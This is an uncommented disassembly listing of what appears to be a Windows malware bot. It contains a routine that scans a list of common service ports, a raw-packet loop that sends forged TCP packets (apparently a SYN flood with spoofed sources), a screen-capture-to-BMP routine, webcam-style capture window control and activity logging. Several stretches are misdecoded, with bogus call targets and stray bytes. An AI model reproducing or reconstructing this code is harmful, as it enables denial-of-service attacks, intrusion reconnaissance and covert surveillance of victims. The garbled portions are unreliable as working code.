		lea	edi, [ebp-100h]
		pop	ecx
		mov	[ebp-10Ch], ebx
		mov	[ebp-7Ch], ecx
		mov	[ebp-108h], ebx
		mov	[ebp-104h], ebx
		mov	dword ptr [ebp-8Ch], 401h
		mov	dword ptr [ebp-88h], 15h
		mov	dword ptr [ebp-84h], 16h
		mov	dword ptr [ebp-80h], 17h
		mov	dword ptr [ebp-78h], 35h
		mov	dword ptr [ebp-74h], 50h
		mov	dword ptr [ebp-70h], 51h
		mov	dword ptr [ebp-6Ch], 58h
		mov	dword ptr [ebp-68h], 6Eh
		mov	dword ptr [ebp-64h], 71h
		mov	dword ptr [ebp-60h], 77h
		mov	dword ptr [ebp-5Ch], 87h
		mov	dword ptr [ebp-58h], 89h
		mov	dword ptr [ebp-54h], 8Bh
		mov	dword ptr [ebp-50h], 8Fh
		mov	dword ptr [ebp-4Ch], 1BBh
		mov	dword ptr [ebp-48h], 1BDh
		mov	dword ptr [ebp-44h], 400h
		mov	dword ptr [ebp-40h], 599h
		mov	dword ptr [ebp-3Ch], 5DCh
		mov	dword ptr [ebp-38h], 6B8h
		mov	dword ptr [ebp-34h], 0CEAh
		mov	dword ptr [ebp-30h], 0D3Dh
		mov	dword ptr [ebp-2Ch], 1388h
		mov	dword ptr [ebp-28h], 1A0Bh
		mov	dword ptr [ebp-24h], 1F40h
		mov	dword ptr [ebp-20h], 1F90h
		rep stosd
		mov	[ebp-10h], ebx
		mov	dword ptr [ebp-1Ch], 3
		mov	dword ptr [ebp-18h], 0BB8h
		mov	[ebp-4], ebx


loc_41536E:				; CODE XREF: .nsp0:004153E9j
		mov	eax, [ebp+8]
		mov	word ptr [ebp-9Ch], 2
		mov	[ebp-98h], eax
		mov	eax, [ebp-4]
		lea	edi, [ebp+eax-8Ch]
		mov	ax, [ebp+eax-8Ch]
		push	eax
		call	dword_4D11F0	; ntohs
		push	ebx
		push	1
		push	2
		mov	[ebp-9Ah], ax
		call	dword_4D1270	; socket
		lea	ecx, [ebp-1Ch]
		mov	[ebp-0Ch], eax
		push	ecx
		lea	ecx, [ebp-9Ch]
		push	10h
		push	ecx
		push	eax
		call	sub_41513F
		add	esp, 10h
		mov	[ebp-8], eax
		push	dword ptr [ebp-0Ch]
		call	dword_4D1288	; closesocket
		cmp	[ebp-8], ebx
		jnz	short loc_4153E1
		mov	ecx, [ebp-4]
		mov	eax, [edi]
		mov	[ebp+ecx-10Ch],	eax


loc_4153E1:				; CODE XREF: .nsp0:004153D3j
		add	dword ptr [ebp-4], 4
		cmp	dword ptr [ebp-4], 70h
		jl	short loc_41536E
		mov	edi, offset dword_4D4A1C
		push	offset asc_43368C ; " "
		push	edi
		call	sub_41BF36
		pop	ecx
		pop	ecx
		call	esi ; dword_4270A8
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-4], ebx
		mov	[ebp-8], eax


loc_41540E:				; CODE XREF: .nsp0:00415464j
		call	esi ; dword_4270A8
		sub	eax, [ebp-0Ch]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+0Ch]
		ja	short loc_415466
		mov	eax, [ebp-8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_41543F
		push	eax
		push	edi
		push	offset aSD	; "%s%d	"
		push	edi
		mov	[ebp-10h], eax
		call	sub_41BF36
		add	esp, 10h
		jmp	short loc_415459
; ---------------------------------------------------------------------------


loc_41543F:				; CODE XREF: .nsp0:00415428j
		push	0FFFFh
		push	ebx
		call	sub_418F1D
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4D11F0	; ntohs
		movzx	eax, ax
		mov	[ebp-10h], eax


loc_415459:				; CODE XREF: .nsp0:0041543Dj
		inc	dword ptr [ebp-4]
		add	dword ptr [ebp-8], 4
		cmp	dword ptr [ebp-4], 1Ch
		jl	short loc_41540E


loc_415466:				; CODE XREF: .nsp0:0041541Fj
					; .nsp0:0041569Fj
		push	28h
		push	ebx
		push	offset byte_4D49B8
		call	sub_41BC40
		mov	esi, 0FFFFh
		mov	byte_4D49B8, 45h
		push	esi
		push	400h
		mov	byte_4D49C1, 6
		mov	byte_4D49B9, 8
		call	sub_418F1D
		add	esp, 14h
		push	eax
		call	dword_4D11F0	; ntohs
		push	28h
		mov	word_4D49BC, ax
		call	dword_4D11F0	; ntohs
		or	byte_4D49C0, 0FFh
		cmp	dword_4D49A8, ebx
		mov	word_4D49BA, ax
		mov	word_4D49BE, bx
		jnz	short loc_4154E6
		push	0FFFEh
		push	1
		call	sub_418F1D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+8]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_4154F1
; ---------------------------------------------------------------------------


loc_4154E6:				; CODE XREF: .nsp0:004154CAj
		push	offset dword_4D4388
		call	dword_4D1230	; inet_addr


loc_4154F1:				; CODE XREF: .nsp0:004154E4j
		mov	dword_4D49C4, eax
		mov	eax, [ebp+8]
		push	4000h
		mov	dword_4D49C8, eax
		mov	byte_4D49D9, bl
		call	dword_4D11F0	; ntohs
		push	esi
		push	ebx
		mov	word_4D49DA, ax
		call	sub_418F1D
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_418F1D
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4D11EC	; ntohl
		mov	dword_4D49D0, eax
		mov	al, byte_4D49D8
		mov	edi, [ebp+8]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4D49D8, al
		mov	ax, [ebp-10h]
		mov	dword_4D49D4, ebx
		mov	word_4D49DE, bx
		mov	word_4D49CE, ax
		mov	dword_4D49F4, edi
		mov	byte_4D49F8, bl
		mov	byte_4D49F9, 6
		call	dword_4D11F0	; ntohs
		mov	word_4D49FA, ax
		mov	ax, word_4D49CE
		mov	word_4D49E0, 2
		mov	dword_4D49E4, edi
		mov	word_4D49E2, ax
		mov	[ebp-4], ebx
		jmp	short loc_4155A7
; ---------------------------------------------------------------------------


loc_4155A2:				; CODE XREF: .nsp0:00415679j
		mov	esi, 0FFFFh


loc_4155A7:				; CODE XREF: .nsp0:004155A0j
		cmp	[ebp-4], ebx
		jnz	short loc_4155DB
		push	esi
		push	ebx
		call	sub_418F1D
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4D11F0	; ntohs
		mov	word_4D49CC, ax
		mov	eax, dword_4D49C4
		mov	dword_4D49F0, eax
		mov	byte_4D49D9, 2
		mov	dword_4D49D4, ebx
		jmp	short loc_4155FA
; ---------------------------------------------------------------------------


loc_4155DB:				; CODE XREF: .nsp0:004155AAj
		push	esi
		push	ebx
		mov	byte_4D49D9, 10h
		call	sub_418F1D
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4D11F0	; ntohs
		movzx	eax, ax
		mov	dword_4D49D4, eax


loc_4155FA:				; CODE XREF: .nsp0:004155D9j
		inc	word_4D49BC
		inc	dword_4D49D0
		mov	ax, word_4D49CE
		push	5
		pop	ecx
		mov	esi, offset word_4D49CC
		mov	edi, offset dword_4D49FC
		mov	word_4D49C2, bx
		mov	word_4D49DC, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4D49B8
		mov	word_4D49E2, ax
		push	esi
		call	sub_40ABC3
		push	20h
		push	offset dword_4D49F0
		mov	word_4D49C2, ax
		call	sub_40ABC3
		add	esp, 10h
		mov	word_4D49DC, ax
		push	10h
		push	offset word_4D49E0
		push	ebx
		push	28h
		push	esi
		push	dword_4D4A18
		call	dword_4D1254	; sendto
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 3FFh
		jl	loc_4155A2
		call	dword_4270A8	; GetTickCount
		sub	eax, [ebp-0Ch]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+0Ch]
		ja	short loc_4156A4
		push	dword ptr [ebp+10h]
		call	dword_427064	; Sleep
		jmp	loc_415466
; ---------------------------------------------------------------------------


loc_4156A4:				; CODE XREF: .nsp0:00415694j
		pop	edi
		pop	esi
		mov	eax, offset dword_4D4A1C
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156AE	proc near		; CODE XREF: .nsp0:00408C11p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_4433A0
		mov	edi, 0B8h


loc_4156C2:				; CODE XREF: sub_4156AE+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4156E5
		push	[ebp+arg_0]
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4156E5
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_443F20
		jl	short loc_4156C2
		jmp	short loc_415727
; ---------------------------------------------------------------------------


loc_4156E5:				; CODE XREF: sub_4156AE+17j
					; sub_4156AE+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_4433A0[esi]
		push	ebx
		call	sub_41BC40
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BCA0
		push	9Fh
		lea	eax, dword_4433B8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BCA0
		add	esp, 24h
		inc	dword_42B684
		pop	ebx


loc_415727:				; CODE XREF: sub_4156AE+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4156AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41572E	proc near		; CODE XREF: .nsp0:004043AAp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_43E430
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_4433A0


loc_415758:				; CODE XREF: sub_41572E+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415793
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_43E41C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C030
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 2Ch


loc_415793:				; CODE XREF: sub_41572E+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_443F20
		jl	short loc_415758
		pop	edi
		pop	esi
		leave
		retn
sub_41572E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157A6	proc near		; CODE XREF: .nsp0:00401ECCp
					; .nsp0:004020E6p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_427130	; GetLocalTime
		mov	ebx, offset dword_4D8E1C
		mov	edi, 80h
		mov	esi, offset dword_4D4E1C


loc_4157C8:				; CODE XREF: sub_4157A6+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4157DF
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BCA0
		add	esp, 0Ch


loc_4157DF:				; CODE XREF: sub_4157A6+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4157C8
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C030
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41581A	proc near		; CODE XREF: sub_4018A1+F7p
					; .nsp0:loc_4020B5p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C830
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4157A6
		add	esp, 14h
		leave
		retn
sub_41581A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415846	proc near		; CODE XREF: .nsp0:004042A4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4D4E1C
		xor	ecx, ecx


loc_41584D:				; CODE XREF: sub_415846+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D8E1C
		jl	short loc_41584D
		cmp	[esp+arg_C], ecx
		jnz	short loc_41587B
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_43E47C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_4099D2
		add	esp, 14h


loc_41587B:				; CODE XREF: sub_415846+19j
		push	offset dword_43E468
		call	sub_4157A6
		pop	ecx
		retn
sub_415846	endp

; ---------------------------------------------------------------------------
byte_415887	db 55h			; DATA XREF: .nsp0:00404354o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4158DA
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_43E4AC
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_4099D2
		add	esp, 14h


loc_4158DA:				; CODE XREF: .nsp0:004158BAj
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_4158FA
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_4158FA
		mov	[ebp-8], eax


loc_4158FA:				; CODE XREF: .nsp0:004158E1j
					; .nsp0:004158F5j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4D4E1C


loc_415903:				; CODE XREF: .nsp0:0041595Bj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_41595D
		cmp	byte ptr [esi],	0
		jz	short loc_41594C
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415932
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415932
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418832
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41594C


loc_415932:				; CODE XREF: .nsp0:00415917j
					; .nsp0:0041591Dj
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_4099D2
		add	esp, 14h


loc_41594C:				; CODE XREF: .nsp0:0041590Ej
					; .nsp0:00415930j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D8E1C
		jl	short loc_415903


loc_41595D:				; CODE XREF: .nsp0:00415909j
		lea	eax, [ebp-31Ch]
		push	offset dword_43E490
		push	eax
		call	sub_41BF36
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415997
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_4099D2
		add	esp, 14h


loc_415997:				; CODE XREF: .nsp0:00415975j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-18h]
		call	sub_40B32A
		pop	ecx
		pop	ecx
		push	esi
; ---------------------------------------------------------------------------
		dw 4DE8h
; ---------------------------------------------------------------------------
		cmpsb
		jb	short $+2
		xor	al, 5Fh
		pop	esi


loc_4159B6:				; CODE XREF: .nsp0:00408D59p
		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4D11DC	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp-20h], edi
		jz	loc_415BEA
		push	8
		push	edi
		call	dword_4D11F8	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp-8], eax
		call	dword_4D11F8	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp-0Ch], eax
		call	dword_4D11F8	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp-10h], eax
		ja	short loc_415A18
		push	18h
		push	edi
		call	dword_4D11F8	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_415A1A
; ---------------------------------------------------------------------------


loc_415A18:				; CODE XREF: .nsp0:00415A06j
		xor	ebx, ebx


loc_415A1A:				; CODE XREF: .nsp0:00415A16j
		push	edi
		call	dword_4D123C	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp-4], eax
		jz	loc_415BCF
		mov	eax, [ebp-8]
		push	esi
		mov	[ebp-80h], eax
		mov	eax, [ebp-0Ch]
		mov	[ebp-7Ch], eax
		mov	ax, [ebp-10h]
		mov	[ebp-76h], ax
		lea	eax, [ebp-18h]
		push	esi
		push	eax
		lea	eax, [ebp-84h]
		push	1
		push	eax
		push	edi
		mov	dword ptr [ebp-84h], 28h
		mov	word ptr [ebp-78h], 1
		mov	[ebp-74h], esi
		mov	[ebp-70h], esi
		mov	[ebp-6Ch], esi
		mov	[ebp-68h], esi
		mov	[ebp-64h], ebx
		mov	[ebp-60h], ebx
		call	dword_4D1234	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp-1Ch], eax
		jz	loc_415BDA
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4D10C0	; SelectObject
		cmp	eax, esi
		jz	loc_415BDA
		cmp	eax, 0FFFFFFFFh
		jz	loc_415BDA
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	esi
		push	esi
		push	dword ptr [ebp-4]
		call	dword_4D1238	; BitBlt
		test	eax, eax
		jz	loc_415BDA
		cmp	ebx, esi
		jz	short loc_415AD7
		lea	eax, [ebp-484h]
		push	eax
		push	ebx
		push	esi
		push	dword ptr [ebp-4]
		call	dword_4D1114	; GetDIBColorTable
		mov	ebx, eax


loc_415AD7:				; CODE XREF: .nsp0:00415AC1j
		mov	edi, [ebp-10h]
		mov	ecx, [ebp-8]
		imul	edi, [ebp-0Ch]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp-8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp-26h], eax
		mov	eax, [ebp-0Ch]
		push	esi
		push	esi
		push	40000000h
		push	dword ptr [ebp+8]
		mov	[ebp-50h], eax
		mov	ax, [ebp-10h]
		mov	word ptr [ebp-30h], 4D42h
		mov	[ebp-2Eh], edx
		mov	[ebp-2Ah], si
		mov	[ebp-28h], si
		mov	dword ptr [ebp-58h], 28h
		mov	[ebp-54h], ecx
		mov	word ptr [ebp-4Ch], 1
		mov	[ebp-4Ah], ax
		mov	[ebp-48h], esi
		mov	[ebp-44h], esi
		mov	[ebp-40h], esi
		mov	[ebp-3Ch], esi
		mov	[ebp-38h], ebx
		mov	[ebp-34h], esi
		call	dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_415BBA
		lea	ecx, [ebp-14h]
		push	esi
		push	ecx
		lea	ecx, [ebp-30h]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 0B40000h
		inc	edx
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-58h]
		push	28h
		push	eax
		push	dword ptr [ebp+8]
		call	near ptr 0B40000h
		push	ds
		cmp	ebx, esi
		jz	short near ptr loc_415B9B+1
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-484h]
		push	dword ptr [ebp-8]
		push	eax
		push	dword ptr [ebp+8]
		call	near ptr 0B40000h


loc_415B9B:				; CODE XREF: .nsp0:00415B82j
		rep lea	eax, [ebp-14h]
		push	esi
		push	eax
		push	edi
		push	dword ptr [ebp-18h]
		push	dword ptr [ebp+8]
		call	near ptr 0B40000h
		lodsd
		push	dword ptr [ebp+8]
		call	dword_42706C	; CloseHandle
		push	1
		pop	esi


loc_415BBA:				; CODE XREF: .nsp0:00415B58j
		push	dword ptr [ebp-1Ch]
		call	dword_4D114C	; DeleteObject
		push	dword ptr [ebp-4]
		call	dword_4D10AC	; DeleteDC
		mov	edi, [ebp-20h]


loc_415BCF:				; CODE XREF: .nsp0:00415A26j
		push	edi
		call	dword_4D10AC	; DeleteDC
		mov	eax, esi
		jmp	short loc_415BEC
; ---------------------------------------------------------------------------


loc_415BDA:				; CODE XREF: .nsp0:00415A7Dj
					; .nsp0:00415A8Fj ...
		push	edi
		call	dword_4D10AC	; DeleteDC
		push	dword ptr [ebp-4]
		call	dword_4D10AC	; DeleteDC


loc_415BEA:				; CODE XREF: .nsp0:004159D9j
		xor	eax, eax


loc_415BEC:				; CODE XREF: .nsp0:00415BD8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BF1	proc near		; CODE XREF: .nsp0:00408E80p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D8E20
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4D1140
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415C2F
		mov	eax, esi
		jmp	loc_415DE5
; ---------------------------------------------------------------------------


loc_415C2F:				; CODE XREF: sub_415BF1+35j
		push	edi
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415C4C
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4D124C	; SendMessageA
		jmp	short loc_415C4E
; ---------------------------------------------------------------------------


loc_415C4C:				; CODE XREF: sub_415BF1+47j
		xor	eax, eax


loc_415C4E:				; CODE XREF: sub_415BF1+59j
		cmp	eax, ebx
		jnz	short loc_415C59


loc_415C52:				; CODE XREF: sub_415BF1+88j
					; sub_415BF1+BCj
		mov	ebx, esi
		jmp	loc_415DDA
; ---------------------------------------------------------------------------


loc_415C59:				; CODE XREF: sub_415BF1+5Fj
		push	edi
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415C76
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4D124C	; SendMessageA


loc_415C76:				; CODE XREF: sub_415BF1+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415C52
		push	edi
		call	dword_4D1190	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_415C9C
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4D124C	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_415C9F
; ---------------------------------------------------------------------------


loc_415C9C:				; CODE XREF: sub_415BF1+98j
		mov	[ebp+arg_4], ebx


loc_415C9F:				; CODE XREF: sub_415BF1+A9j
		push	[ebp+arg_4]
		call	sub_41BBCB
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415C52
		push	[ebp+arg_4]
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_415CC6
		push	1
		pop	ebx
		jmp	loc_415DDA
; ---------------------------------------------------------------------------


loc_415CC6:				; CODE XREF: sub_415BF1+CBj
		push	[ebp+var_4]
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415CE3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4D124C	; SendMessageA


loc_415CE3:				; CODE XREF: sub_415BF1+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	near ptr sub_41C9B0
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415CFE
		mov	ecx, 280h


loc_415CFE:				; CODE XREF: sub_415BF1+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415D0A
		mov	eax, 1E0h


loc_415D0A:				; CODE XREF: sub_415BF1+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4D1190	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_415D54
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4D124C	; SendMessageA


loc_415D54:				; CODE XREF: sub_415BF1+153j
		push	[ebp+var_4]
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415D71
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4D124C	; SendMessageA


loc_415D71:				; CODE XREF: sub_415BF1+16Ej
		push	[ebp+var_4]
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415D90
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4D124C	; SendMessageA


loc_415D90:				; CODE XREF: sub_415BF1+18Bj
		push	[ebp+var_4]
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415DAD
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4D124C	; SendMessageA


loc_415DAD:				; CODE XREF: sub_415BF1+1AAj
		push	[ebp+var_8]
		call	sub_41B961
		push	esi
		call	sub_41B961
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415DDA
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4D124C	; SendMessageA


loc_415DDA:				; CODE XREF: sub_415BF1+63j
					; sub_415BF1+D0j ...
		push	[ebp+var_4]
		call	dword_4D12A0	; DestroyWindow
		mov	eax, ebx


loc_415DE5:				; CODE XREF: sub_415BF1+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415BF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DEA	proc near		; CODE XREF: .nsp0:00408F38p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D8E20
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4D1140
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_415E28
		mov	eax, esi
		jmp	loc_416024
; ---------------------------------------------------------------------------


loc_415E28:				; CODE XREF: sub_415DEA+35j
		push	edi
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415E45
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4D124C	; SendMessageA
		jmp	short loc_415E47
; ---------------------------------------------------------------------------


loc_415E45:				; CODE XREF: sub_415DEA+47j
		xor	eax, eax


loc_415E47:				; CODE XREF: sub_415DEA+59j
		cmp	eax, ebx
		jnz	short loc_415E52


loc_415E4B:				; CODE XREF: sub_415DEA+8Bj
					; sub_415DEA+BCj
		mov	ebx, esi
		jmp	loc_41601B
; ---------------------------------------------------------------------------


loc_415E52:				; CODE XREF: sub_415DEA+5Fj
		push	edi
		call	dword_4D1190	; IsWindow
		test	eax, eax
		jz	short loc_415E72
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
